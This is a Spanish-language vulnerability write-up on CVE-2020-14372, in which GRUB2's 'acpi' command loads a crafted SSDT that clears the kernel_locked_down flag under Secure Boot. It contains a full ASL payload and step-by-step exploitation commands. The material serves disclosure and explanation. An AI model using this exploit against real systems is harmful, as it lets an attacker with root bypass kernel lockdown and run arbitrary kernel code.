CVE-2020-14372: Eludiendo (no tan) Secure Boot con un "simple truco"

Detalles de la vulnerabilidad

Un día escribí "help" en la consola de GRUB2 y vi algunos comandos muy "divertidos":

• read_byte ADDR: Lee un valor de 8 bits desde ADDR
• write_byte ADDR VAL: Escribe un valor de 8 bits VAL en ADDR

Inmediatamente pensé que había encontrado la forma más divertida de eludir Secure Boot, pero estos comandos generan lo siguiente bajo Secure Boot:

error: Secure Boot forbids loading module .../memrw.mod.

Por curiosidad, arrancado de esta manera, escribí el comando "acpi", e imprimió un mensaje de uso diciéndome que lo señalara a un archivo AML. Es bien sabido que otro nombre para ACPI es un "mecanismo para ejecutar código arbitrario proporcionado por el vendedor en el contexto de su kernel", ya que podemos cargar tablas ACPI con Secure Boot habilitado, nosotros somos el "vendedor" que puede proporcionar ese código.

Pero dado que hay un flag de un byte (kernel_locked_down) en el segmento de datos del kernel arrancado que le indica si está o no "bloqueado", podemos sobrescribir ese flag usando un SSDT y dejar que el kernel cargue módulos arbitrarios.

El siguiente SSDT logra esto creando un objeto "battery" llamado HACK, y haciendo la escritura en el método _INI de dicho objeto, el cual siempre es ejecutado por el kernel:

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

Escribí un exploit de prueba de concepto en Python que ayuda a generar este SSDT, pero explotarlo a mano no es tan difícil tampoco. El esquema general es el siguiente:

1. Deshabilitar KASLR añadiendo nokaslr a la línea de comandos del kernel
2. Encontrar la dirección física del símbolo kernel_locked_down después de arrancar sin KASLR
3. Insertar la dirección en el SSDT anterior, luego compilar ese SSDT usando iasl
4. Finalmente, indicar a GRUB2 que cargue el SSDT

Cómo usar el PoC

Suposiciones:

• El atacante tiene acceso root al sistema operativo en ejecución
• Linux se inicia bajo UEFI Secure Boot con GRUB2 versión <=2.02 (algunas compilaciones de 2.02 están parcheadas), esto hará que el kernel lockdown esté habilitado

Cuando se cumplan las suposiciones anteriores, edite /etc/default/grub, añada nokaslr a GRUB_CMDLINE_LINUX_DEFAULT, ejecute update-grub, y finalmente reinicie.

Después de que el kernel arranque sin aleatorización del diseño del espacio de direcciones, el script genssdt.py se puede usar para generar un SSDT "malicioso" que parcheará la memoria del kernel en tiempo de ejecución para deshabilitar el lockdown:

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

Ahora que se creó el SSDT, el archivo de configuración de GRUB (normalmente en /boot/grub/grub.cfg) debe ser editado para que GRUB cargue este SSDT (añadiendo esto al principio de este archivo):

acpi (hd0,gpt1)/evil_ssdt.aml

Dependiendo de dónde reside en el disco la partición del sistema EFI (donde colocamos el SSDT anterior), (hd0,gpt1) podría necesitar ser reemplazado con otra cosa.

Finalmente, después de un reinicio, el lockdown del kernel debería estar deshabilitado, dando a root la capacidad de ejecutar código arbitrario en el kernel.